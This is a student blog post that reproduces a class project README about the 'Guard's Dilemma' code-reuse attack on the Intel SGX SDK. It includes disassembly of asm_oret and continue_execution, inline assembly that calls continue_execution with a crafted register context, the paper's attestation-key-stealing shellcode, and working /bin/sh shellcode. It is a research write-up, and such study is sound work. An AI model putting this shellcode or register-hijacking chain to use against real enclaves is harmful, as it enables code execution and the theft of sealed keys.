Long Time No See

nananana·2022년 12월 15일
0

So I have been doing some school work so didn't have much time to write alot. Today I will introduce one of the projects I have been working on in school. Its a docker container with SGX-SDK that tests attack primitives discussed in a paper called: "The Guard's Dilemma: Efficient Code-Reuse Attacks Against Intel SGX" which was a very interesting read.

https://github.com/wldyd423/docker-IntelSGX

This is the github link to my project. It is a simple project that demonstrates the basic CONT loop introduced in the paper.

I will just copy paste the README.md here to fill space. I already wrote up alot about what the project is and the progress I took during the project.

notes (Taken for the paper to understand how attack works)

SGX creates enclaves. These enclaves cannot be reverse engineered since it is encrypted with a key only available within an enclave.
Typical ROP attacks do not work. (why?) (probably because address layout of gadgets are unknown)

DarkROP proposes a method to undermine this procedure. Creating a set of oracles that crash leak address layout of gadgets.
Assuming address layout does not change. These gadgets can be used to launch a ROP attack.

However with an address randomization scheme (ex. SGX Shield) DarkROP does not have a way of extracting gadgets.

The paper proposes a different exploit to undermine these mitigations and launch a ROP attack on SGX. (Seems to use SGX SDK)

SGX Background

SGX enclave run on same x86 processor as ordinary application. ==> require mechanism to transfer between untrusted and trusted code.
SGX instructions interacting with the enclave are organized as leaf fnc. under two real intructions: ENCLS (kernel-mode operations) and ENCLU (user-mode operations)

SGX accomplish synchronus enclave entry through EENTER leaf fnc (invoked by ENCLU). Entry point is specified in the Thread Control Structure (TCS)
EENTER does not clear CPU registers untrusted code pass additional information to entry point. To return back enclave use EEXIT leaf fnc.
just like EENTER, EEXIT does not clear register.

Enclave can be entered concurrently within same thread. Number of concurrent entries in the same thread is limited by State Save Areas (SSA)
SSA stores enclave state during asynchronus exits. number of SSA (NSSA) field in TCS defines how many SSA are present.
Enclave can exit due to hardware exception, which is handled by the kernel in untrusted mode. This event: AEX (Asynchronus Enclave Exit)
Enclave state is saved in an available SSA when AEX occurs. Register values are replaced with synthetic state before handing control to interrupt handler.
Syntethic state ensure enclave opacity and avoid leakage of secrets.
Once interrupt is dealt enclave execution is resumed with ERESUME leaf fnc.

SGX SDK Internals

SGX software are developed based on SGX SDK, as it abstracts SGX.
Two SDK provided libraries are vital for this attack:
Trusted Runtime System (tRTS) and Untrusted Runtime Ssytem (uRTS)
tRTS executes inside enclave, uRTS runs outside enclave.
tRTS and uRTS interact with each other handling transition between trusted and untrusted execution modes.

ECALLs

ECALL allow untrusted code to call fnc within enclave. Enclave programmer can arbitrarily select which functions are exposed to ECALL interface.
ECALL can also be nested: untrusted code can execute ECALL while handling OCALL.
Programmer can specify which ECALL are allowed at zero nesting level andwhich are allowed for specific OCALL.
Every ECALL has associated index. To perform ECALL application calls into uRTS library which executes a synchronus enclave entry (EENTER)
passing ECALL index in a register. tRTS check ECALL index is defiend and if it is allowed at current nesting level. Once function returns:
it performs a synchronus exit (EEXIT) giving control back gto uRTS.
Passing and returning arbitrary memory is possible because SGX enclaves can access untrusted memory. Enclave must expose at least ECALL otherwise there is
no way to invoke enclave code: from programmer's perspective enclave code executes in ECALL context.

OCALLs

OCALL mechanism allow trusted code to call untrusted functions defined by the host application.
Need for OCALL stems from the fact that system calls are not allowed inside an enclave.
Like ECALL, OCALL is identified by an index. When enclave has to perform OCALL it calls into tRTS.
tRTS first pushes an OCALL frame onto trusted thread stack which stores current register states.
Next it performs synchronus exit to return from the current ECALL passing OCALL index back to uRTS.
uRTX recognize that exit is for an OCALL and executes target functions and executes ECALL varient known as ORET which restore the contesxt from the OCALL frame through function named asm_oret returning to trusted callsite.
ORET is implemented in tRTS like ECALL data is passed via shared untrusted memory.

Exception Handling

SDK enclaves can register handlers to catch exception within enclaves. Upon exceptionan asynchronus enclave exit AEX occurs. This saves the faulting state to the state save area (SSA)
Resulting interrupt is handled by the kernel, which delivers an exception to the untrusted application by means of usual exception handling mechanism of OS.
Exception handler registerd by uRTS performs special ECALL to let enclave handle the exceptions.
By default SDK enclaves have two SSAs available. Hence, it is possible to re-enter enclave while an AEX is pending.
tRTS copies fualting state from SSA to an exception information structure on the trusted stack, and changes the SSA contents so that ERESUME will continue at a secnd phase handler in the tRTS instead of executing faulting instruction again.
Once, ECALL returns uRTS issue ERESUME for faulting thread.
This traverses registered exception handlers which can observe the exception information to determine whether they can handle the exception.
To handle the exception. Handler can modify CPU state contained in the exception informations.
If handler succeeds, tRTS uses fnc. continue_execution to restore CPU registers and resume enclave execution.
If exception cannot be handled, default handler switches the enclave to a crashed state preventing further operations.

(No idea what this means)

Threat Model and Assumptions

Previous works on SGX considered strong adversarial model. Attacker has full control over machine. (Malicious Kernel)
Here we consider weaker attacker that has compromised the application that hosts the enclave by exploiting a vulnerability.
In some cases attacker might even be able to perform attack without any control over host process.

Offensive Capabilities

The attacker can:

Cause memory corruption. Attacker knowns of a vulnerability in enclave that allows him or her to corrupt stack memory or fnc poitner on stack/heap/other memory area.

Create fake structure. Attacker can place arbitrary data at some memory location accessible by the enclave. Malicious host process can easily do this given the unrestricted access over its own address space. An attacker could also possible achieve this via normal functionality: steering application to allocate attacker controlled data at predictable addresses.

Has Knowledge of coarse grained memory layout. Attacker knows victim enclaves external memory layout. This is known to the process hosting enclave. Alternatively information leakage vulnerabilities inside enclave could provide this knowledge.

Knowledge of enclave binary. Attacker has access to victim enclave's binary allowing binary analysis on the binary.

Defensive cpabilities

Enclave has following capabilities:

SDK usage. Victim enclave is devloped by official SGX SDK from intel. SDK is used by almost all realworld enclaves.
It is development environment endorsed by intel.

Randomized SGX memory. We assume enclave code is hardened by sophisticated mitigation technologies such as address space layout randomization.
enclave is protected by SGX-Shield. Currently only available ASLR for SGX.

The Guard's Dilemma

Novel Code Reuse Attack Against SGX

Technique is applicable to a wide range of vulnerabilities. => Stack overflow, Corrupting function pointers
Ultimate goal = execute sequence of gadgets without crashing victim enclave

Along the lines of any code reuse attack ROP

However advantage: allow attacker to set all general purpose CPU registers before executing each gadget.
Register control is essential in any code-reuse attack.

For instance,
Preparing data for subsequent gadgets
Set argument for function calls

In contrast, existing code reuse attack on x86 require:
attacker to use specific register setting gadgets to set registers (SGX makes this easier?)

Not requiring those gadgets have two benefits:
First, reduce amount of application code needed for successful code-reuse attack
second, it simplifies the payload development since, attacker does not need to find pop gadgets for all relevent registers

In fact, this attack allows attacker to use whole functions as gadgets. (Working at higher level)
Making it easier to port exploit between different versions of a binary

Attack exploits functionality tRTS (fundamental library of SGXSDK)

Hence the dilemma:
SDK is important part in creating secure enclaves, but in this case it is actually exposing them to attacks.

Two primitives are exploited:
ORET primitive:
First attack allows attacker to gain access to a critical set of CPU registers by exploiting a stack overflow vulnerability

CONT primitive:
    Second attack is more powerful, allow attacker to gain access to all general purpose registers. Only requires control of a register. + this attack can combined with ORET primitive to apply it to controlled stack situations. 


Basically: ORET==> Set of CPU Register (So only some) access by stack overflow
CONT ==> All General-Purpose Registers Access by ??? (Not said) requires control of a register (x86_64: rdi) (Isn't rdi something to do with ret addr?)

Overview and Attack Workflow

Description of exploit primitive + Attack workflow

Exploitation Primitive

Primitive + Preconditions

ORET primitive:
Abusing function asm_oret from tRTS library.
asm_oret is used to restore CPU context after an OCALL(enclave calling untrusted function)
Prerequisite: Control of instruction pointer (Hijack execution of asm_oret) and Control of stack content. (Any Stack overflow vulnerability)

ORET primitive gives control of subset of CPU registers. Including registers that holds the first function argument (rdi) and the instruction pointer

root@ab15c6e9261c:/home/linuxsgx/sgxsdk/lib64# nm -C libsgx_trts_sim.a | grep oret
                 U do_oret
                 U asm_oret
0000000000000194 T do_oret
00000000000001eb T asm_oret
root@ab15c6e9261c:/home/linuxsgx/sgxsdk/lib64# nm -C libsgx_trts_sim.a | grep continue_execution
                 U continue_execution
00000000000002c2 T continue_execution

While evaluating sgx_1.6 trts library (it is compiled so I can't see detailed function definition)
We indeed can find asm_oret and continue_execution function (obviously 1.6 seems to be one of the versions the paper evaluated.)

nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
00000000000002e7 T asm_oret
nm: warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001

nm: warning: libsgx_trts_sim.a(restore_tls.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(restore_tls.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(trts_pic.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: 00000000000004cb T continue_execution
warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(metadata_sec.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010002
nm: warning: libsgx_trts_sim.a(xsave_gnu.o): unsupported GNU_PROPERTY_TYPE (5) type: 0xc0010001

Upon further inspection we find that the most recent version (sgx_2.18) also have both functions. Wonder if the vulnerability is fixed for these recent iterations (although I am not certain attack can be reproduced)

CONT primitive
Abuse continue_execution from tRTS. It is meant to restore CPU context after an exception
This primitive requires the ability to call that fnc (which one?) with a controlled rdi.

Achievable from exploiting memory corruption vulnerability affecting a function pointer
This yields full control for all general purpose CPU registers.

ORET+CONT
Idea:
use CONT primitive repeatedly to invoke gadgets
chain requires multiple CONT invocations ==> CONT require specific rdi value
use ORET to set rdi and invoke CONT ==> ORET+CONT loop

Buffer Overflow

Paper states that buffer overflow (or any memory corruption vulnerability) can bootstrap the ORET-CONT loop

I am yet to understand the exact meaning but I have tested some aspects and this is a set of notes for my own reference.

Basic Buffer Overflow is possible.

The intel sgx sdk compiled application is not invulnerable from every attack. Buffer Overflow is possible but only possible on application layer.

Basically (from my understanding so far) there are two parts Enclave - App (all sample code have these two folders)

If BO vulnerability is in App we can overwrite stack (simple!)
Now since we control the return address we can do what ever we desire within the app but not within the enclave. (important)

So if we have a getkey() function defined on app.cpp we can easily access it.
if we have a within_enclave() function defined in the enclave we can't access it. We know the address (dissassemble within_enclave) but chanigng the return address to this function doesn't work.

But as the paper pointed out that we can access the enclave through normal means (ecall, ocall) we can access 'some features?' in the enclave. Like we can call ecall fnc from buffer overflow.

Now I have to find out ORET (and how that works in sgxsdk)
or check out if ecall can be used to access fnc. within the enclave (since it seems it is impossible from the outside)

There seems to be multiple OCALL functions defined in Enclave_t.c
Enclave.c uses these OCALL to print a stream from within the enclave.

Finding asm_oret & continue_execution (in progress)

Clearly the most important functions for this exploit: asm_oret and continue_execution
They play key role in context swap between enclave and untrusted code execution. But since SGXSDK is code it can be abused for ROP attack (basic idea of GuardsDilemma paper)

SnakeGX

SnakeGX seems to be somewhat of an followup to GuardsDilemma.
It utilize continue_execution to do some form of ROP attack whilst undetected(?) by healthy OS

So poking around the code of SnakeGX I figured out how to find (maybe) asm_oret and contineu_execution

within enclave_signed.io

root@0733f5f47830:/home/linuxsgx/sgxsdk/SampleCode/SampleEnclave# nm enclave.signed.so  | grep asm_oret
0000000000008c17 t asm_oret
root@0733f5f47830:/home/linuxsgx/sgxsdk/SampleCode/SampleEnclave# nm enclave.signed.so  | grep continue_execution
0000000000008cee t continue_execution
root@0733f5f47830:/home/linuxsgx/sgxsdk/SampleCode/SampleEnclave# 

This section displays (?) address to asm_oret and continue_execution
We start a buffer overflow and use asm_oret to start a ORET-CONT chain?

Not sure ...

Good News and Bad News.

First I learned basically how to find asm_oret.
First the enclave_signed.io seem to have the address of the functions
Furthermore, /proc/PID/maps seem to contain mapping information to know the base address of the enclave.

Now the problem.
Since, I am running only SGX SDK (since most PC processers don't support SGX anymore)
I don't have a driver and usually the enclave is identified by isgx (i think its the driver)

So how does everything role when there is no driver?
Furthermore exception is not captured in Simulation mode. This means continue_execution (CONT primitive) might be deactivated.

Very Good News

Upon further inspection the sgxsdk seems to simulate a half baked version of the enclave. In simulation mode.
The key notice is whether CONT primitive is alive (as it explicitely state that exception is not captured in Simulation mode so no need for continue_execution)

   0x7fe0a5ad7c17:	mov    %rdi,%rsp
   0x7fe0a5ad7c1a:	mov    %rsi,%rax
   0x7fe0a5ad7c1d:	mov    0x38(%rsp),%r15
   0x7fe0a5ad7c22:	mov    0x40(%rsp),%r14
   0x7fe0a5ad7c27:	mov    0x48(%rsp),%r13
   0x7fe0a5ad7c2c:	mov    0x50(%rsp),%r12
   0x7fe0a5ad7c31:	mov    0x58(%rsp),%rbp
   0x7fe0a5ad7c36:	mov    0x60(%rsp),%rdi
   0x7fe0a5ad7c3b:	mov    0x68(%rsp),%rsi
   0x7fe0a5ad7c40:	mov    0x70(%rsp),%rbx
   0x7fe0a5ad7c45:	add    $0x98,%rsp
   0x7fe0a5ad7c4c:	retq 

This short assembly code just by looking at it you know its asm_oret()
Using the base address given by the sgxsdk during simulation mode (since no enclave is running it tells us the base address)
(Enclave base address can be acquired through /proc/[PID]/maps)

sgxuser@7877f892d194:/proc/6$ cat maps | grep enclave
7f1b0e5df000-7f1b0e5e1000 r--p 00000000 00:41 1814539                    /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e1000-7f1b0e5e6000 r-xp 00002000 00:41 1814539                    /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e6000-7f1b0e5e8000 r--p 00007000 00:41 1814539                    /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e8000-7f1b0e5e9000 r--p 00008000 00:41 1814539                    /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3
7f1b0e5e9000-7f1b0e5ea000 rw-p 00009000 00:41 1814539                    /usr/lib/x86_64-linux-gnu/libsgx_enclave_common.so.1.2.100.3

This is from a docker execution witAhin the base linux-sgx repository /linux/installer/docker

Here I executed docker-compose and docker exec ... /bin/bash into the container looked for the map to find that the base address can be acquired this way. (Which is the method used by SnakeGX)

   0x7fe0a5ad7cee:	mov    %rdi,%rcx
   0x7fe0a5ad7cf1:	mov    0x20(%rcx),%rdx
   0x7fe0a5ad7cf5:	mov    %rdx,%rsp
   0x7fe0a5ad7cf8:	sub    $0x8,%rsp
   0x7fe0a5ad7cfc:	mov    0x88(%rcx),%rax
   0x7fe0a5ad7d03:	mov    %rax,(%rsp)
   0x7fe0a5ad7d07:	mov    (%rcx),%rax
   0x7fe0a5ad7d0a:	mov    0x10(%rcx),%rdx
   0x7fe0a5ad7d0e:	mov    0x18(%rcx),%rbx
   0x7fe0a5ad7d12:	mov    0x28(%rcx),%rbp
   0x7fe0a5ad7d16:	mov    0x30(%rcx),%rsi
   0x7fe0a5ad7d1a:	mov    0x38(%rcx),%rdi
   0x7fe0a5ad7d1e:	mov    0x40(%rcx),%r8
   0x7fe0a5ad7d22:	mov    0x48(%rcx),%r9
   0x7fe0a5ad7d26:	mov    0x50(%rcx),%r10
   0x7fe0a5ad7d2a:	mov    0x58(%rcx),%r11
   0x7fe0a5ad7d2e:	mov    0x60(%rcx),%r12
   0x7fe0a5ad7d32:	mov    0x68(%rcx),%r13
   0x7fe0a5ad7d36:	mov    0x70(%rcx),%r14
   0x7fe0a5ad7d3a:	mov    0x78(%rcx),%r15
   0x7fe0a5ad7d3e:	pushq  0x80(%rcx)
   0x7fe0a5ad7d44:	popfq  
   0x7fe0a5ad7d45:	mov    0x8(%rcx),%rcx
   0x7fe0a5ad7d49:	retq 

Again using a same method I acquired this.
Similar to asm_oret() but more registers. This is continue_execution.
Using the base address and the address offset acquired from enclave.signed.so

Very bad news

Still not working

(gdb) info reg
rax            0x7fffb6fdcf20   140736263474976
rbx            0x616    1558
rcx            0x614    1556
rdx            0x320    800
rsi            0x7fffb6fdce70   140736263474800
rdi            0x619    1561
rbp            0x618    0x618
rsp            0x7fdba09a89f0   0x7fdba09a89f0 <_rtld_global+2448>
r8             0x3cca   15562
r9             0x3ccb   15563
r10            0x61c    1564
r11            0x61d    1565
r12            0x61e    1566
r13            0x61f    1567
r14            0x620    1568
r15            0x621    1569
rip            0x7fdb9e2dcd59   0x7fdb9e2dcd59
eflags         0x602    [ IF DF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0

Notable progress is I can corrupt registers (so continue execution works well)

This is the Final Product

How Attack Works

The paper introduces two attacks, ORET-CONT loop and CONT loop. asm_oret is a function that restores some registers and is used to switch context after an OCALL. continue_execution is a function that restores all general purpose registers after an exception.

This project uses the CONT loop.
Using the CONT loop, the attack uses a write gadget, which is part of "do_rdrand".

    mov dword ptr [rcx], eax
    mov eax, 1
    ret

Using ROPgadget or just reading the enclave.signed.io we can get addresses of asm_oret, continue_execution, and write gadget.

The initial attack is conducted by calling the continue_execution using:

__asm__(
        "mov %0, %%rdi\n"
        "call %1\n"
        : // no output
        : "r" (tmp), "r" (addr)
        : "rdi"
    );

Which sets the rdi to the crafted context (register values we want to plant into the system) and calls continue_execution. This part is primitive but there are multiple ways to call continue_execution.

Ways to call continue_execution

To call continue execution you need two things. Control over the rdi register (to pass the crafted context) and the rip register (since we need to call this function). Any memory vulnerability that allows this can be used.

Paper introduces the use of asm_oret to do this. To use asm_oret we only need buffer overflow. Paper states to overflow the return address to the address of asm_oret followed by the crafted context for oret to use (which will carry the rdi value for continue_execution and the stack will probably end with address of continue execution to start the ORET-CONT loop).

the ORET-CONT loop allows asm_oret to call continue_execution. continue_execution will call the gadget and since continue_execution controls the rsp, asm_oret can be called after the gadget.

After continue_execution

One distinct part of this attack is that we need some structures (crafted stack and context) within the memory accessible to the enclave. This does not require this structure to be within trusted memory as enclave has access to untrusted memory. To do this structure is written within the application code.

The stack is filled with the address to continue_execution. And cpu_context is crafted containing a rflag (not setting rflag seem to trigger Trace/Breakpoint signal) to 530. rax is set to the 4 bytes of code to be written and rcx points to the destination to write the code.

The paper becomes rather vague about this destination. Basically the write gadget is used to write code into this area and continue execution will execute the code by changing the rip to the first instruction of injected code.

So this is basically a ROP based code injection displaying the Guards Dilemma where SGX SDK is tricked by the attacker to inject and execute malicious code. (In that sense we cover a lot of things we saw in this class)

The injected code

For sake of simplicity the code is injected into the stack. That is the fake stack we created. There are two injected codes one is commented out because it doesn't work. This is due to the 'enclu' instruction. This instruction is specifically for SGX CPU regarding enclaves.

Injected Code #1 (commented out) Remote Attestation Attack

The benefit of this attack is the ROP code is executed within the enclave. This allows the attacker to attack remote attestation and act as if they are the enclave. This shell code is introduced within the paper. The bytes are successfully printed into the stack however it is not disassembled properly (due to enclu).

Code injection can be done on application level however this attack displays how much power continue_execution gives to the attacker. Not only do we control return address like a traditional buffer overflow based ROP but we control every general purpose register.

The shell code introduced in the paper:

### Initial register state :
### rax = 0 ( EREPORT leaf )
### rbx = EEXIT return address
### rcx = 512+512+64
### ( total size of structures )
### rdx = writable 512 - byte aligned enclave
### area for temporary data
### rdi = writable 512 - byte aligned enclave
### area to copy structures into
### rsi = address of attacker ’s KEYREQUEST +
### TARGETINFO + REPORTDATA
### rbp = address of attacker ’s key buffer
### rsp = writable area for shellcode stack
push rbx
push rdi
### Copy KEYREQUEST , TARGETINFO ,
### REPORTDATA to enclave memory
rep movsb
### EREPORT
lea rcx , [ rdi -64]
lea rbx , [ rcx -512]
enclu
### Copy report ’s ISVSVN to KEYREQUEST
pop rbx
mov ax , [ rdx +258]
mov [ rbx +4] , ax
### Copy report ’s CPUSVN to KEYREQUEST
vmovdqa xmm0 , [ rdx ]
vmovdqu [ rbx +8] , xmm0
### Copy report ’s KEYID to KEYREQUEST
vmovdqa ymm0 , [ rdx +384]
vmovdqu [ rbx +40] , ymm0
### EGETKEY
push rdx
pop rcx
mov al , 1
enclu
### Copy key to attacker ’s memory
movdqa xmm0 , [ rdx ]
movdqu [ rbp ], xmm0
### EEXIT to attacker ’s code
pop rbx
mov al , 4
enclu

Injected Code #2 Shell (tested on Ubuntu 20.04 VM and Ubuntu 18 Server Azure)

To test the injection and execution of code we used basic shell code.

            6a 42                   push   0x42
            58                      pop    rax
            fe c4                   inc    ah
            48 99                   cqo
            52                      push   rdx
            48 bf 2f 62 69 6e 2f    movabs rdi, 0x68732f2f6e69622f
            2f 73 68
            57                      push   rdi
            54                      push   rsp
            5e                      pop    rsi
            49 89 d0                mov    r8, rdx
            49 89 d2                mov    r10, rdx
            0f 05                   syscall

This can be done without using enclave. Actually it can be done easier that way however the purpose of this is to present how we can control registers to inject code and execute them (like done in the paper).

SGX 1.6

The SGX 1.6 is the lowest version available in Linux-IntelSGX github. The paper discusses this version and other post 2.0 versions and there differences in implementing key functions such as asm_oret and continue_execution.

asm_oret (sgx1.6)

   0x7fe0a5ad7c17:	mov    %rdi,%rsp
   0x7fe0a5ad7c1a:	mov    %rsi,%rax
   0x7fe0a5ad7c1d:	mov    0x38(%rsp),%r15
   0x7fe0a5ad7c22:	mov    0x40(%rsp),%r14
   0x7fe0a5ad7c27:	mov    0x48(%rsp),%r13
   0x7fe0a5ad7c2c:	mov    0x50(%rsp),%r12
   0x7fe0a5ad7c31:	mov    0x58(%rsp),%rbp
   0x7fe0a5ad7c36:	mov    0x60(%rsp),%rdi
   0x7fe0a5ad7c3b:	mov    0x68(%rsp),%rsi
   0x7fe0a5ad7c40:	mov    0x70(%rsp),%rbx
   0x7fe0a5ad7c45:	add    $0x98,%rsp
   0x7fe0a5ad7c4c:	retq 

continue_execution (sgx1.6)

   0x7fe0a5ad7cee:	mov    %rdi,%rcx
   0x7fe0a5ad7cf1:	mov    0x20(%rcx),%rdx
   0x7fe0a5ad7cf5:	mov    %rdx,%rsp
   0x7fe0a5ad7cf8:	sub    $0x8,%rsp
   0x7fe0a5ad7cfc:	mov    0x88(%rcx),%rax
   0x7fe0a5ad7d03:	mov    %rax,(%rsp)
   0x7fe0a5ad7d07:	mov    (%rcx),%rax
   0x7fe0a5ad7d0a:	mov    0x10(%rcx),%rdx
   0x7fe0a5ad7d0e:	mov    0x18(%rcx),%rbx
   0x7fe0a5ad7d12:	mov    0x28(%rcx),%rbp
   0x7fe0a5ad7d16:	mov    0x30(%rcx),%rsi
   0x7fe0a5ad7d1a:	mov    0x38(%rcx),%rdi
   0x7fe0a5ad7d1e:	mov    0x40(%rcx),%r8
   0x7fe0a5ad7d22:	mov    0x48(%rcx),%r9
   0x7fe0a5ad7d26:	mov    0x50(%rcx),%r10
   0x7fe0a5ad7d2a:	mov    0x58(%rcx),%r11
   0x7fe0a5ad7d2e:	mov    0x60(%rcx),%r12
   0x7fe0a5ad7d32:	mov    0x68(%rcx),%r13
   0x7fe0a5ad7d36:	mov    0x70(%rcx),%r14
   0x7fe0a5ad7d3a:	mov    0x78(%rcx),%r15
   0x7fe0a5ad7d3e:	pushq  0x80(%rcx)
   0x7fe0a5ad7d44:	popfq  
   0x7fe0a5ad7d45:	mov    0x8(%rcx),%rcx
   0x7fe0a5ad7d49:	retq  

SGX 2.18

The SGX 2.18 is the latest available in Linux-IntelSGX github. Attack does not work for this version. Maybe further investigation can be done as to why it doesn't work and how Intel has patched the SGX-SDK after release of papers such as Guard's Dilemma and SnakeGX.

asm_oret (sgx2.18)

0000000000036ab8 <asm_oret>:
   36ab8:       48 89 e3                mov    %rsp,%rbx
   36abb:       48 89 7c 24 08          mov    %rdi,0x8(%rsp)
   36ac0:       48 89 74 24 10          mov    %rsi,0x10(%rsp)
   36ac5:       48 8b 63 08             mov    0x8(%rbx),%rsp
   36ac9:       48 8b bc 24 98 00 00    mov    0x98(%rsp),%rdi
   36ad0:       00 
   36ad1:       e8 02 fd ff ff          call   367d8 <restore_xregs>
   36ad6:       0f ae e8                lfence 
   36ad9:       48 31 c0                xor    %rax,%rax
   36adc:       48 8b 4c 24 58          mov    0x58(%rsp),%rcx
   36ae1:       48 29 f9                sub    %rdi,%rcx
   36ae4:       48 83 e9 08             sub    $0x8,%rcx
   36ae8:       48 c1 e9 02             shr    $0x2,%rcx
   36aec:       fc                      cld    
   36aed:       f3 ab                   rep stos %eax,%es:(%rdi)
   36aef:       48 8b 43 10             mov    0x10(%rbx),%rax
   36af3:       4c 8b 7c 24 38          mov    0x38(%rsp),%r15
   36af8:       4c 8b 74 24 40          mov    0x40(%rsp),%r14
   36afd:       4c 8b 6c 24 48          mov    0x48(%rsp),%r13
   36b02:       4c 8b 64 24 50          mov    0x50(%rsp),%r12
   36b07:       48 8b 6c 24 58          mov    0x58(%rsp),%rbp
   36b0c:       48 8b 7c 24 60          mov    0x60(%rsp),%rdi
   36b11:       48 8b 74 24 68          mov    0x68(%rsp),%rsi
   36b16:       48 8b 5c 24 70          mov    0x70(%rsp),%rbx
   36b1b:       48 89 ec                mov    %rbp,%rsp
   36b1e:       5d                      pop    %rbp
   36b1f:       c3                      ret
   36b20:       0f 0b                   ud2

continue_execution (sgx2.18)

0000000000036bec <continue_execution>:
   36bec:       48 89 f9                mov    %rdi,%rcx
   36bef:       48 8b 01                mov    (%rcx),%rax
   36bf2:       50                      push   %rax
   36bf3:       48 8b 41 08             mov    0x8(%rcx),%rax
   36bf7:       50                      push   %rax
   36bf8:       48 8b 41 20             mov    0x20(%rcx),%rax
   36bfc:       48 2d 88 00 00 00       sub    $0x88,%rax
   36c02:       48 8b 51 10             mov    0x10(%rcx),%rdx
   36c06:       48 8b 59 18             mov    0x18(%rcx),%rbx
   36c0a:       48 8b 69 28             mov    0x28(%rcx),%rbp
   36c0e:       48 8b 71 30             mov    0x30(%rcx),%rsi
   36c12:       48 8b 79 38             mov    0x38(%rcx),%rdi
   36c16:       4c 8b 41 40             mov    0x40(%rcx),%r8
   36c1a:       4c 8b 49 48             mov    0x48(%rcx),%r9
   36c1e:       4c 8b 51 50             mov    0x50(%rcx),%r10
   36c22:       4c 8b 59 58             mov    0x58(%rcx),%r11
   36c26:       4c 8b 61 60             mov    0x60(%rcx),%r12
   36c2a:       4c 8b 69 68             mov    0x68(%rcx),%r13
   36c2e:       4c 8b 71 70             mov    0x70(%rcx),%r14
   36c32:       4c 8b 79 78             mov    0x78(%rcx),%r15
   36c36:       ff b1 80 00 00 00       push   0x80(%rcx)
   36c3c:       9d                      popf   
   36c3d:       48 8b 89 88 00 00 00    mov    0x88(%rcx),%rcx
   36c44:       48 89 08                mov    %rcx,(%rax)
   36c47:       59                      pop    %rcx
   36c48:       5c                      pop    %rsp
   36c49:       48 94                   xchg   %rax,%rsp
   36c4b:       c2 80 00                ret    $0x80

So basically that was all about the final product. Its basic and simple I hoped I could do something more interesting but SGX attacks were quite difficult to reproduce because it was dependant on a lot of factors or I just lacked the understanding.

0개의 댓글